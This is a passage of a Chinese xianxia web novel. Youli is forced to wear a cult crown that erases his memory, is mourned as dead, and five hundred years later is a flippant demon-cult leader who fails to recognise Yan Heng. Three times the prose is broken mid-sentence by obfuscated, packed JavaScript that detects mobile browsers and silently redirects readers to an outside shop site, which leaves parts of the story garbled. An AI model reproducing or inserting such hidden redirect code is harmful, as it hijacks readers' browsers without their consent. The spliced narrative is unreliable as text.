话音未落,他的掌心凝聚起一团漆黑的灵力,那灵力中带着令人心悸的毁灭气息,仿佛能吞噬一切。 严珩猛然冲上前,挡在宥鲤面前,却被玄煞随手一挥,再次击飞,重重摔在地上,半天爬不起来。 “严珩!”宥鲤嘶吼着,想冲过去,却被一股无形的力量禁锢在原地。 玄煞的手,缓缓抬起。 那团漆黑的灵力,在他掌心跳动,像一颗即将坠落的星辰。 舞台上的火光,在这一刻,显得如此渺小。 漆黑的灵力在玄煞掌心缓缓旋转,像一朵盛开在深渊中的彼岸花,美丽而致命。 可就在它即将落下的瞬间,玄煞的手微微顿住。 他的目光落在宥鲤脸上——那张和宥情柳几乎一模一样的面庞,在火光中显得格外苍白。 胸口,某个尘封已久的角落,忽然传来一阵钝痛。 ——那是他唯一的爱人,唯一的思念。 玄煞缓缓收回灵力,声音低沉得像夜色中的潮水:“宥鲤,我不想杀你。” 宥鲤抬起头,眼中满是警惕与不解。 玄煞的目光掠过地上挣扎着的严珩,又落回宥鲤身上,语气冷得像冰:“我给你两个选择。” 他伸出一根手指:“第一,让严珩死在这里。” 宥鲤的瞳孔骤然收缩,呼吸几乎停止。 玄煞又伸出第二根手指:“第二,带上它。” 他从怀中取出一枚精致的冠——那是一朵由彼岸花雕刻而成的教冠,花瓣细致入微,花心镶着一颗暗红色的宝石,在火光下闪烁着妖冶的光。 “成为我真正的继承人,”玄煞的声音低沉而不容拒绝,“戴上它,你就是本教的少教主。” 舞台上陷入死一般的寂静,只有火焰燃烧的噼啪声。 宥鲤的目光在严珩和那枚彼岸花教冠之间来回移动。 严珩挣扎着抬头,眼中带着急切:“宥鲤,别答应他!” 玄煞冷冷地看了严珩一眼,声音像冰刃:“你没有选择的权利。” 宥鲤的手微微颤抖,指节泛白。 他知道,第一个选择意味着亲手葬送严珩的性命。 而第二个选择——戴上那枚冠,就等于将自己的自由、信念,甚至灵魂,都交给眼前这个男人。 可他也知道,玄煞是真的会动手的。 火光映在玄煞的眼中,那里面既有冷酷的威严,也有一丝难以察觉的……祈求。 “你该明白,”玄煞低声道,“我不想让你受伤。” 宥鲤咬紧牙关,心脏像被利刃割开。 他抬起头,声音嘶哑:“如果我戴上它,你会放过严珩吗?” 玄煞沉默了一瞬,缓缓点头。 舞台上,火焰跳动,照亮了宥鲤脸上的每一寸挣扎。 火光映在彼岸花教冠上,妖冶的红光像在呼吸。 宥鲤的手在空中停了很久,指尖因用力而微微颤抖。 严珩挣扎着爬起,声音嘶哑:“宥鲤,不要!” 玄煞的目光紧紧锁住他,像在等待一个决定。 宥鲤深吸一口气,终于伸出手,将那枚彼岸花教冠戴在了自己的头上。 冰凉的触感顺着额角蔓延开来,下一刻—— 轰! 一股陌生而强大的力量,从教冠涌入他的体内,像潮水般冲刷着他的经脉。记忆像破碎的玻璃,一片片剥落,坠入无尽的黑暗。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261165|198029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小时候的笑声、与琅风并肩的日子、严珩的笑容、清朽门的晨钟暮鼓……全都在瞬间被抹去。 他的眼神渐渐变得空洞,像一口干涸的古井,没有波澜,也没有温度。 “这是……什么……”宥鲤喃喃低语,声音轻得像风。 玄煞的眼中闪过一丝复杂的情绪,随即被冷漠取代:“从现在起,你是本教的少教主。” 就在这时,教冠上的彼岸花突然绽放出耀眼的红光,光芒沿着宥鲤的发丝蔓延。 他的长发在风中飞舞,颜色一点点褪去——由墨黑化为银白,最后如雪般纯净。 那一瞬间,他仿佛变成了另一个人——冷傲、疏离、不可侵犯。 严珩目眦欲裂,挣扎着冲上前,却被玄煞挥手挡开。 “宥鲤!你看着我!”严珩嘶吼着,声音里带着绝望。 宥鲤转过头,目光在他脸上停留了一瞬,却只是微微皱眉,像在看一个陌生人。 “你是谁?” 短短三个字,像利刃般插进严珩的心口。 玄煞的嘴角勾起一抹满意的弧度,却在转身的刹那,眼底闪过一丝难以察觉的痛意。 舞台上的火焰渐渐熄灭,只留下一地狼藉与死寂。 而戴着彼岸花教冠、长发如雪的宥鲤,缓缓跟随玄煞,消失在黑暗之中。 冰冷的地面透着刺骨的寒意。 严珩的意识像从深海中挣扎着浮上来,耳边先是一阵嗡鸣,然后逐渐清晰——是风雪拍打山门的声音。 他艰难地睁开眼,视线模糊,眼前是两道熟悉的身影。 “严珩!你醒了!”东方如光的声音带着明显的喜悦与急切。 峰羽蹲下身,将他半扶起来,递过一碗温水:“先喝点水,你失血过多,差点就没救了。” 严珩接过水,手还在微微颤抖。喝下几口后,他的视线终于清晰了些。 可就在这时,他的目光不经意地扫到不远处—— 雪地上,躺着一个熟悉的身影。 长发如雪,静静铺在地上,脸色苍白得几乎透明,唇上没有一丝血色。 那是……宥鲤。 严珩的呼吸骤然停滞,手中的碗“啪”地一声摔在地上,碎裂成无数片。 “宥……宥鲤?”他的声音嘶哑得几乎听不见。 东方如光和峰羽对视一眼,神情凝重。 “我们……从万归宗报信回来时,就在山门外发现了你们。”东方如光低声道,“他……已经没有气息了。” 严珩的瞳孔剧烈收缩,他踉跄着爬过去,跪在宥鲤身旁,双手颤抖着抚上那张冰冷的脸。 “宥鲤……醒醒……别吓我……”他的声音像风中残烛,随时会熄灭。 指尖触到的,是一片冰凉。 严珩将宥鲤轻轻抱进怀里,像抱着全世界。泪水不受控制地涌出眼眶,滴落在宥鲤苍白的脸上。 “你答应过我……不会有事的……”他的声音哽咽,“你说过……会一直陪着我……” 峰羽别过脸,不忍再看。东方如光叹了口气,伸手拍了拍严珩的肩膀:“我们会带他回去,好好安葬。” 严珩却像没听见一样,只是紧紧抱着宥鲤,仿佛只要他不放手,那个人就不会离开。 他不知道的是—— 在不远处的雪林中,玄煞的身影静静地站着,黑袍在风雪中猎猎作响。 他的目光落在那抹白色的长发上,眼底闪过一丝痛苦与决绝。 “宥鲤,这是我唯一能为你做的。” 下一刻,他转身消失在风雪中。 70. 十六 瑶花镇的风雪尚未停息,众人踏着厚厚的积雪,缓缓向万归宗山门走去。 严珩走在最前面,怀里抱着那抹雪白的身影——宥鲤的长发在风中微扬,脸埋在他的肩窝,安静得像睡着了一样。 他的脚步沉重而坚定,仿佛只要他不放手,怀里的人就还存在于这个世界。 万归宗的山道上,远远的,传来弟子们的惊呼声。 “快看——是严师兄他们回来了!” “等等……他怀里的是……” 朝阳门、沧海门、云之门、九天门、乾亘门的弟子们纷纷停下手中的事,目光聚焦在那抹雪色上。 有人脸色骤变,立刻转身朝各自的山门飞奔而去。 “长老!瑶花镇的人回来了!可是……宥鲤师兄他——” 风声里,脚步声、呼喊声交织成一片。 很快,朽清门的钟声在远处响起,低沉而悠长。 云清君几乎是第一时间赶来。 他的白衣在风雪中猎猎作响,面色沉着,目光却在看到严珩怀里的身影时,骤然凝固。 “……宥鲤?” 他的声音极轻,却带着压抑不住的颤抖。 严珩抬起头,眼底布满血丝,哑声道:“云清君……对不起,我没护住他。” 云清君没有说话,只是一步步走近,伸出手,指尖触到那片冰凉的面颊。 一瞬间,记忆如潮水般涌来—— 夜色渐深,朽清门的钟声在远处悠悠回荡。 宥鲤推开房门,屋内却并不如他想象中那般空荡——云清君正坐在窗边的案旁,手里捧着一盏温茶,目光温和而沉静。 “师尊?”宥鲤微微一怔。 “回来了。”云清君放下茶盏,“坐吧。” 烛火摇曳间,云清君细细叮嘱他明日行程——护百姓、防严珩、遇身世之事先告知。 “你是我的弟子,我会护你。” 那时的宥鲤,眼中尚有温度,还会低声应“是”。 可如今—— 怀中的人唇色惨白,再无回应。 云清君的手慢慢收回,指节泛白。他闭上眼,像是在竭力压下什么。 再睁开时,眼底已是一片深不见底的平静。 “带回朽清门。” 他的声音冷得像雪。 严珩张了张嘴,却什么也没说,只是抱紧了怀里的人。 风雪中,各门派弟子的目光或震惊、或惋惜、或疑惑,却没有人敢出声打破这沉重的寂静。 只有云清君转身时,袖中微微颤动的手指,泄露了他压抑到极致的痛。 雾色渐浓,朽清门的钟声在夜色中沉沉回荡。 云清君坐在案前,烛火映着他微沉的侧脸。桌上放着的,是一只陈旧的木匣——那是他当年从破庙带宥鲤和宥风回山时,随手装了几件棉衣和干粮的旧物。多年未曾动过,今夜却不知为何被他翻了出来。 木匣里压着一张泛黄的纸,是宥鲤刚入朽清门时写的入门帖。字迹还稚嫩,却笔锋凌厉,收笔处干净利落,像他的剑。 云清君的指尖轻轻拂过那行字,眼底泛起一丝不易察觉的暖意——那是他第一次意识到,这个孩子的字里,藏着的是与他年纪不符的克制与锋芒。 那年冬末,朽清门后山的梅花开得极盛。宥鲤站在廊下,望着那片红梅,眼底闪过一抹淡淡的光。他没说什么,只是转身去练剑。可第二天,云清君在梅花树下,看到了一朵被剑气削下的花瓣——切口平整,连一丝多余的痕迹都没有。 “剑不是为了折花。”云清君当时淡淡道。 宥鲤垂眸,“弟子只是想试试,剑锋能有多稳。” 那一刻,云清君第一次觉得,这个孩子的执着,是别人难以撼动的。 春去秋来,几年的时间,宥鲤的剑法已冠绝同门。他在练剑时,总是安静得像风,剑光却凌厉得像雪。每一次比试,他都以最小的代价取胜,从不拖泥带水。可云清君知道,宥鲤在与人切磋时,总会留一线余地——不是为了人情,而是为了不让自己的剑沾太多血。 云清君曾在夜半路过练剑场,看见宥鲤一个人站在月光下,反复练着同一招。剑势沉稳,收放自如,却在最后一刻,将剑锋偏开半寸。那半寸,是生,也是不杀。 他本以为,这孩子会一直走在这条稳而直的路上。 可不知从何时起,宥鲤的眼神里,多了一些云清君看不懂的东西。那是一种更深的沉默,像是将某些话、某些事,都藏到了连他也够不到的地方。 有一次,宗门议事结束,云清君留他在廊下,问:“千浮,你可有什么话想与我说?” 宥鲤沉默了很久,才淡淡道:“没有。” 那一夜,风很冷,吹得廊下的竹叶簌簌作响。云清君站在原地,看着宥鲤离去的背影,心底第一次生出一种……无力感。 而如今—— 他眼前的,是一具冰冷的尸体。 云清君缓缓合上木匣,将它放回案下。烛火摇曳,他的影子被拉得很长。 他忽然想起,宥鲤小时候很怕雷声。第一次听到春雷时,他躲在门后,死死抓着门框,却不肯让任何人看见他的慌乱。后来,他长大了,雷声再大,也只是淡淡抬眼。 原来,有些东西,他不是不怕,只是学会了藏。 云清君闭上眼,指尖在袖中微微颤动。 “千浮……” 声音轻得像一缕风,很快被夜色吞没。 第二天清晨,天色微亮,山间的雾气还未散去。 云清君踏着湿滑的石阶,走向宥风所住的小院。院门半掩,风吹过,发出轻轻的吱呀声。 他推门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他站在坑边,目光落在那口棺木上,眼底的情绪翻涌——有震惊,有愤怒,还有一丝难以掩饰的茫然。 “这……是怎么回事?”他看向云清君,声音低哑。 云清君没有回答,只是将手中的泥土缓缓撒下。黄土落在棺盖上,发出沉闷的声响。 严珩的手指在身侧收紧,指节泛白。他像是想说什么,却最终只是低声道:“我来送他最后一程。” 他弯腰,从随行弟子手中接过一束白色的山茶花,轻轻放在棺木上。花瓣在风中微微颤动,像是在低声诉说什么。 “宥鲤……”严珩的声音轻得几乎被风吹散,“你这个……笨蛋。” 云清君侧过脸,目光在他脸上停了一瞬,随即移开。 没有斥责,没有追问。 可严珩知道,从这一刻起,他与朽清门之间,有一些东西,已经彻底改变了。 风更冷了,竹叶沙沙作响,像是在为这场沉默的告别伴奏。 71. 十七 500年后—— 幽冥崖巅,黑雾终年不散,像一层沉眠的梦魇,将整座血煞魔教总坛笼罩其中。崖下翻滚的血色瘴气如活物般涌动,偶尔传来低沉的咆哮声,让人分不清是风声还是冤魂的嘶喊。 宥鲤一袭玄黑镶暗红纹路的长袍,衣摆在地上拖出长长的影子。那袍子剪裁极为张扬,领口开到锁骨,腰侧几乎裸露,走动间黑雾缭绕,仿佛与他的气息共生。 “啧,这衣服真是……”他低头看了看自己腰间空落落的布料,“连个遮风的都没有,腰都快冻掉了。” 绣在衣摆上的血煞图腾与彼岸花,在黑雾中若隐若现,像是在呼吸。 彼岸花海里,两名魔教的少女正蹲在花丛间采集花瓣,见宥鲤走来,忙停下手中的活,齐声喊:“教主!” 宥鲤摆了摆手,笑得漫不经心:“采花呢?小心别被花吃了。” 其中一个女孩眨眼问:“教主,这花真会吃人吗?” “会啊,”他故作神秘地弯下腰,“尤其是你们这种细皮嫩肉的。” 女孩们吓得后退一步,随即又笑了,知道他是在逗她们。宥鲤得意地吹了声口哨,继续往前。 转过花海,裴煦正站在廊下等他。这位血煞魔教的执事一身深紫长袍,神情沉稳,眼神却透着几分无奈。 “教主,您又穿这件衣服?”裴煦瞥了他一眼,“属下说过,这太暴露了。” 宥鲤挑眉:“暴露?这叫气场。你懂什么。” “是,属下不懂,”裴煦淡淡道,“属下只懂,您走在路上,全教上下的目光都黏在您腰上。” 宥鲤笑得肆意:“那就让他们看,反正看了也摸不到。” 裴煦无奈地叹了口气:“您今天不去议事堂吗?长老们都在等。” “等呗,”宥鲤懒洋洋地伸了个懒腰,“反正他们说的,不是要钱就是要命,没一个新鲜的。” “教主,您这样会被长老们弹劾的。” “弹劾?”宥鲤笑得更坏了,“他们弹得动我吗?” 两人一路往总坛深处走去,黑雾在脚边缭绕。宥鲤忽然停下脚步,半眯着眼看向崖下的瘴气,声音低了几分:“裴煦,你说……这底下,会不会真有东西在等我?” 裴煦沉默片刻,道:“不管有什么,您都是它的主人。” 宥鲤咧嘴一笑,转身继续走:“说得好,不愧是我手下第一嘴甜的。” “属下只是说实话。” “那我给你个奖励——”宥鲤故意顿了顿,“下次帮我改改这件破衣服,起码给我加个腰带。” 裴煦忍俊不禁:“……是,教主。” 黑雾中,彼岸花随风摇曳,像是在为这对奇怪的主仆伴奏。 议事堂内,黑雾从高高的穹顶垂下,像是一道道垂落的墨色帷幕。长案两侧,坐着几位白发长老,面色肃穆。 宥鲤慢悠悠走了进来,衣摆拖地,黑雾随他的步伐涌动。他一屁股坐在主位上,单手撑着下巴,另一只手无聊地敲着扶手。 “说吧,”他打了个哈欠,“今天又要吵什么?” 左侧一位长老沉声道:“教主,近来各分坛的供奉不足,您需尽快——” “供奉不足?”宥鲤挑眉,“那你们是想要我去抢,还是让我去赚?” “当然是——” “当然是你们自己想办法,”宥鲤懒洋洋地打断,“你们活了几百年,难道还要我教你们怎么搞钱?” 右侧长老怒道:“教主,您这是推卸责任!” 宥鲤笑了,笑意却冷:“推卸?我是血煞教主,不是你们的账房先生。供奉不够,就去杀几个人,抢几座城,自己解决。别什么事都来烦我。” 几位长老被噎得说不出话,脸色一阵青一阵白。 裴煦站在一旁,低头掩去嘴角的笑意。 宥鲤懒懒地靠在椅背上,手指轻敲扶手:“还有事吗?没事我就回去睡觉了。” 就在这时—— 议事堂的大门被一股凌厉的气息推开,黑雾像潮水般涌了进来。 一个高大的身影出现在门口,身披暗金色纹路的黑甲,双眸如血,周身散发着令人窒息的威压。 “玄煞大人!”有人失声惊呼。 玄煞的目光扫过长案,最终落在宥鲤身上,唇角勾起一抹冷笑:“宥鲤,我回来了。” 宥鲤挑了挑眉,神色依旧玩世不恭:“哟,老爹,你终于舍得从地狱里爬出来了?” 玄煞一步步走近,每一步都让地面微微震动:“我回来,是要看看……你把我的教,糟蹋成了什么样子。” 议事堂内,空气瞬间凝固,连黑雾都似乎不敢流动。 议事堂内的气氛凝重得像要滴出水来,黑雾仿佛也屏住了呼吸。 玄煞的目光在宥鲤身上停留片刻,缓缓开口,声音低沉而威严:“我不在的这些年,你就是这样当教主的?” 宥鲤懒洋洋地伸了个懒腰,语气随意得像在聊天气:“不然呢?天天开会?那也太无聊了。” 几位长老在一旁噤若寒蝉,谁也不敢插话。 玄煞盯着他,眼底的杀意一闪而逝,却在下一刻被一丝无奈取代——毕竟,这是他的儿子。 “你至少该……”玄煞顿了顿,似乎在斟酌措辞,“该像个教主。” 宥鲤翻了个白眼:“像不像教主不重要,重要的是我活着,而且活得挺好。” 他说着站起身,伸了个大大的懒腰,衣摆扫过地面,带起一阵黑雾。 “行了,你们慢慢聊,我去睡午觉。” 玄煞眉头一皱:“现在?” “对啊,”宥鲤打着哈欠,“昨天晚上玩到半夜,困死我了。” 长老们集体倒吸一口凉气——在玄煞面前说这种话,简直是嫌命长。 玄煞沉默了三秒,最终只是挥了挥手:“去吧。” 宥鲤立刻笑了,像只偷到鱼的猫,转身就走。走到门口时,他还回头冲裴煦眨了眨眼:“执事大人,替我挡一下风。” 裴煦无奈点头:“属下遵命。” 大门关上,议事堂内的气氛才稍稍缓和。玄煞缓缓坐下,眼神却依旧深沉。 “你们下去吧。”他淡淡道。 长老们如蒙大赦,匆匆离去。只剩玄煞一人坐在黑雾缭绕的议事堂中,低声喃喃: “宥鲤啊宥鲤……你可真是……我的孽障。” 万归宗,主峰天衡峰。 云海翻涌,山风猎猎。大殿之内,香烟袅袅,却衬得空旷得发冷。 严珩坐在宗主之位上,白衣如雪,鬓边几缕青丝已染霜色。他的面容依旧俊逸,却像被岁月和风雪磨去了所有温度。那双曾盛着怒火与茫然的眼睛,如今只剩下一片死水般的平静。 “宗主,南境分舵送来急报。”执事小心翼翼地呈上玉简。 严珩只是扫了一眼,淡淡道:“按旧例处理。” “可……对方似乎与血煞魔教有关。” 殿中空气微凝,几名长老抬眼看向他,似乎期待他会露出哪怕一丝波澜。 然而严珩只是合上玉简,声音冷得没有一丝起伏:“无关紧要。” 执事不敢多言,退了下去。 殿外的风带着寒意吹进来,拂动他的衣袍。他缓缓起身,走到殿门口,望向远处云雾缭绕的群山。 那是幽冥崖的方向。 五百年来,他每一年都会在这个位置站一会儿。不是为了眺望,而是为了确认——那里依旧存在,而他依旧活着。 活着,却像已经死了一半。 自从宥鲤的棺木被黄土掩埋,他的世界便失去了颜色。 万归宗的宗主之位,不过是一副沉重的枷锁,压着他日复一日地走下去。至于江湖、恩怨、正邪——对他来说,都已无关紧要。 他低声呢喃,声音轻得几乎被风吹散: “宥鲤……你在天之灵,可还记得我?” 风穿过殿门,带来远处松涛的低吟,像是无声的回答。 天衡峰的钟声忽然响起,低沉而急促,在云海间回荡。 一名弟子匆匆奔上殿阶,气息未稳,单膝跪地:“启禀宗主——幽冥崖传来消息,血煞魔教……玄煞,已回归。” 殿内一片寂静。 严珩站在殿门口,背对着众人,风吹得他的衣袍猎猎作响。听到“玄煞”二字,他的手指微不可察地收紧,骨节泛白。 “何时之事?”他的声音依旧平静,却透着一股压抑的冷意。 “三日前,魔教议事堂,玄煞亲至。”弟子不敢抬头,“据传……他已接掌大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261167|198029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 权。” 严珩沉默了片刻,目光落在远处幽冥崖的方向,眼底那片死水终于泛起了涟漪——不是恐惧,而是一种近乎死寂的恨意。 “我知道了。”他缓缓转身,神色如冰,“传令下去,万归宗上下戒备,任何人不得擅入北境半步。” 长老们互相对视,谁都不敢多问。 可就在殿门即将关上的瞬间,严珩忽然停下脚步,低声道: “再探——幽冥崖。” 他的声音极轻,却让殿内所有人都感到了一股莫名的寒意。 五百年来,严珩第一次主动关心江湖的动向。 而这一切,只因为一个名字——玄煞。 当年杀死宥鲤的人…… 幽冥崖总坛,教主寝宫。 宥鲤趴在雕花大床上,一手枕着头,一手无聊地拨弄着床边垂下来的黑色流苏。窗外黑雾缭绕,彼岸花的香气若有若无地飘进来。 “裴煦啊,”他懒懒开口,“我发现,自从我家老子回来了,日子真是……舒服多了。” 裴煦正站在一旁整理文书,闻言抬眼:“哦?教主是指……” “你看啊,”宥鲤掰着手指,“以前长老们天天来烦我,什么供奉、地盘、仇杀……现在呢?全都去找玄煞了。” 他说着打了个哈欠,翻了个身,把脸埋进枕头里:“连我中午睡个觉,都没人敢来敲门。” 裴煦忍不住提醒:“玄煞大人是您的父亲,也是魔教前任教主,他处理这些事是理所当然的。” “对啊对啊,”宥鲤含糊地嘟囔,“所以我就更轻松了。” 他忽然坐起来,眼睛一亮:“要不我干脆退位让贤?反正他比我会管。” 裴煦脸色微变:“教主,慎言。” 宥鲤摆了摆手,笑得坏坏的:“我开玩笑的。不过……要是能一直这么清闲,倒也不错。” 他伸了个懒腰,掀开被子下床,披上那件玄黑镶暗红纹路的长袍,腰侧依旧空空荡荡。 “走,陪我去看看我家老子今天又在折腾什么。” 裴煦无奈地跟在他身后:“教主,您就不怕玄煞大人让您去处理公务?” 宥鲤脚步一顿,回头冲他挑了挑眉:“那我就说——我要睡午觉。” 裴煦:“……” 两人一前一后走出寝宫,黑雾在脚边缭绕,远处彼岸花正开得妖冶。 宥鲤伸了个懒腰,心里暗暗想—— 老子回来,果然是件好事。 幽冥崖,玄煞的议事殿比宥鲤的要森严得多,黑雾更浓,空气里带着压迫感。 宥鲤猫着腰躲在殿外的廊柱后,探出半个脑袋往里看。只见玄煞坐在主位上,一身黑金纹路的铠甲,神情冷厉,正与几位长老议事。 “……北境的防线必须加固,万归宗那边——”玄煞的声音低沉而有力,每一个字都像落在众人心头的巨石。 宥鲤打了个哈欠,心想:又是这些无聊的事。 他正准备转身溜走,肩膀忽然被一只手按住。 “在偷看什么?”低沉的声音从背后传来。 宥鲤一僵,缓缓回头,就对上了玄煞那双血红色的眼睛。 “呃……”宥鲤干笑两声,“路过,纯属路过。” 玄煞眯起眼:“路过需要躲在柱子后面?” “习惯了。”宥鲤耸肩,“以前开会的时候我都这么溜的。” 殿内的长老们齐刷刷低下头,假装没听见。 玄煞没说话,只是盯着他看了几秒,忽然伸手,一把拎住他的后衣领,像拎小猫一样把他拎进殿里。 “既然来了,就坐下听。”玄煞把他按在旁边的座位上。 宥鲤翻了个白眼,懒洋洋地靠在椅背上:“我听这个干嘛?反正你会处理。” 玄煞的手指轻轻敲了敲扶手,目光落在他腰侧裸露的皮肤上,眉头微不可察地皱了皱:“衣服怎么穿成这样?” “这是时尚。”宥鲤撇嘴,“你不懂。” 玄煞盯了他两秒,忽然伸手扯过一件黑色外袍,扔到他身上:“穿上。” 宥鲤愣了愣,随即笑了:“哟,关心我啊?” 玄煞移开目光,声音冷得没有温度:“只是别丢人现眼。” 宥鲤慢悠悠地穿上外袍。 72. 十八 议事殿内,黑雾缭绕。玄煞与宥鲤正说着话,忽然殿外传来通报声—— “启禀教主,万归宗宗主严珩,亲至。” 殿内瞬间安静下来。 宥鲤挑了挑眉,一脸好奇:“严珩?谁啊?” 玄煞的目光微沉,没有回答。 殿门缓缓开启,寒风裹挟着白雾涌入。一个白衣如雪的身影走了进来,步伐沉稳,周身带着一股冷寂的气场。 严珩的目光在殿内一扫,最终落在宥鲤身上。 那一瞬,他整个人僵住,瞳孔骤缩—— 长发如银,眉眼如旧,只是那双眼里,没有了昔日的温度与熟悉。 记忆中,火光、鲜血、彼岸花教冠……所有画面在脑海中炸开。 “宥鲤……”严珩的声音嘶哑,几乎是颤抖着唤出这个名字。 宥鲤眨了眨眼,上下打量他,语气随意得像在评价一个陌生人:“你是谁?找我有事?” 严珩的心脏像被生生攥住,痛得无法呼吸。 “你……不记得我了?” “我应该记得你吗?”宥鲤歪着头,嘴角甚至还带着一点玩味的笑,“不过说真的,你长得挺好看的。” 殿内几位长老低下头,不敢看这诡异的场面。 玄煞终于开口,声音冷得像冰:“严宗主,你来我教,有何贵干?” 严珩的目光死死盯着宥鲤,像要从他眼中找出一丝熟悉的影子,可最终只是失望。 “我……”他顿了顿,声音低沉,“来确认一件事。” “什么事?”玄煞淡淡问。 “他,”严珩抬起手,指向宥鲤,“是怎么活下来的。” 宥鲤一脸茫然:“活下来?你在说什么?我不是一直活着吗?” 玄煞的眼神冷了几分:“严珩,这里不是你该来的地方。带着你的问题,滚。” 严珩没有动,只是看着宥鲤,声音低得几乎只有两人能听见:“宥鲤,你真的……什么都不记得了?” 宥鲤耸耸肩:“我只记得我是血煞教主,我爹回来了,我最近很闲。” 他忽然凑近一步,上下打量严珩,嘴角勾起坏笑:“不过你要是想跟我认识一下,我也不介意。” 严珩的手在身侧收紧,指节泛白。 玄煞冷哼一声,挡在宥鲤身前,隔开两人的视线:“够了。来人,送客。” 殿外的护卫应声而入。 严珩却没有立刻走,他最后看了宥鲤一眼,那眼神里有痛苦、有不甘,还有一丝说不清的执念。 “我会弄清楚的。”他低声道,然后转身离去。 殿门关上,黑雾重新笼罩。 宥鲤摸了摸下巴,一脸玩味:“这人……挺有意思的。” 玄煞的目光深沉如海,没有说话。 殿门刚一合上,宥鲤就忍不住打了个响指,对裴煦眨了眨眼:“裴执事,帮我挡一下,我出去透透气。” 裴煦还没来得及阻拦,宥鲤已经像一阵风似的溜出了议事殿。 黑雾缭绕的长廊上,脚步声极轻。宥鲤贴着廊柱,探出半个脑袋——只见严珩的白衣背影正渐行渐远,步伐沉稳,却透着一种难以言说的孤寂。 宥鲤挑了挑眉,嘴角勾起坏笑,悄无声息地跟了上去。 穿过彼岸花盛开的小径,严珩停在幽冥崖边,望着崖下翻滚的血色瘴气。风卷起他的衣袍,猎猎作响。 宥鲤站在不远处的树影里,托着下巴打量他,心里暗暗感叹—— 这人站在那里,就像一幅画。冷,却好看得让人移不开眼。 “看够了吗?” 严珩的声音忽然传来,没有回头,却准确地捕捉到了他的存在。 宥鲤愣了下,随即笑嘻嘻地走出来:“被你发现了。” 他走到严珩身边,和他一起望着崖下的瘴气,语气随意:“你刚刚在殿里说的话,我不太明白。活下来?我不是一直活着吗?” 严珩转过头,目光深深落在他脸上,像是在确认什么。许久,他才低声道:“你真的……不记得我了。” 宥鲤耸耸肩:“可能我们以前见过?不过我记性不太好。” 他忽然凑近,几乎贴着严珩的脸,笑得狡黠:“要不你提醒我一下?比如……我们是不是有过什么‘特别的关系’?” 严珩的手指骤然收紧,眼底闪过一丝痛苦。他后退半步,避开宥鲤的靠近,声音低得像风:“没有。” 宥鲤挑了挑眉,似乎对这个答案不太满意。他侧过脸,盯着严珩的眼睛看了很久,忽然笑了:“你说谎。” 严珩没有回答,只是转身,准备离开。 宥鲤却忽然伸出手,拉住了他的衣袖。那一瞬间,严珩的身体明显僵了一下。 “帅哥,”宥鲤笑得肆意,“有空常来玩啊。” 严珩垂眸,看了看那只抓着自己衣袖的手,眼底闪过一丝复杂的情绪。他轻轻抽回衣袖,低声道:“……好。” 然后,他转身离去。 宥鲤站在崖边,望着那道白色的背影渐渐消失在黑雾中,嘴角的笑意慢慢收敛。 “有趣……”他低声呢喃,“真的……很有趣。” 宥鲤刚溜回议事殿外,就迎面撞上了玄煞那双血色的眼睛。 “去哪了?”玄煞的声音低沉,带着不容置疑的威压。 宥鲤打了个哈哈:“散步啊,呼吸一下新鲜空气。” “幽冥崖的空气?”玄煞挑眉,“新鲜?” 宥鲤耸肩:“总比待在这闷得慌的殿里强。” 玄煞盯着他看了几秒,忽然冷声:“以后,不许再靠近严珩。” 宥鲤翻了个白眼:“我就看看帅哥,又不犯法。” “帅哥?”玄煞的眉头皱得更深,“你缺男人?” 宥鲤摊手:“这里又没什么好看的,好不容易来了个养眼的,当然要看。” 玄煞冷笑一声,抬手朝殿内一指:“没帅哥?” 宥鲤顺着他的手看过去—— 议事殿阴影处,一个身着青衣的男子正静静站着,眉目冷峻,眼神如刀。长发如墨,在黑雾中泛着冷光。整个人像一柄收鞘的剑,锋利却克制。 “那是本教护法——琅风。”玄煞的声音带着一丝不易察觉的骄傲,“你觉得,他不够好看?” 宥鲤眯起眼打量了几秒,嘴角勾起坏笑:“嗯……勉强算个帅哥。” “勉强?”琅风眉头微不可察地动了一下,却没有说话。 玄煞的脸色沉了下去:“你是教主,别一天到晚脑子里只有这些无聊的事。” 宥鲤的笑容也冷了几分:“无聊?那你告诉我,什么才不无聊?天天开会?批公文?还是听你训话?” 殿内的空气瞬间紧绷。 玄煞的手指轻轻敲着扶手,声音低沉:“你的责任。” “责任?”宥鲤嗤笑,“我连自己的过去都不记得,还谈什么责任?” 玄煞的目光骤冷,周身的黑雾翻涌起来。 “够了。”他低声道,“我不许你再提这件事。” 宥鲤也不退让,直视着他:“那你至少让我知道,我是谁。” 两人的目光在空气中交锋,像两柄利刃碰撞,火花四溅。 琅风站在一旁,神色淡漠,却在眼底闪过一丝复杂的情绪。 最终,玄煞深吸一口气,压下怒火:“下去。” 宥鲤哼了一声,转身就走。走到门口时,他忽然回头,冲琅风眨了眨眼:“护法大人,有空喝一杯?” 琅风淡淡道:“没空。” 宥鲤笑得更坏了:“真冷淡……我喜欢。” 说完,他大步离去。 玄煞的脸色阴沉得几乎要滴出水来。 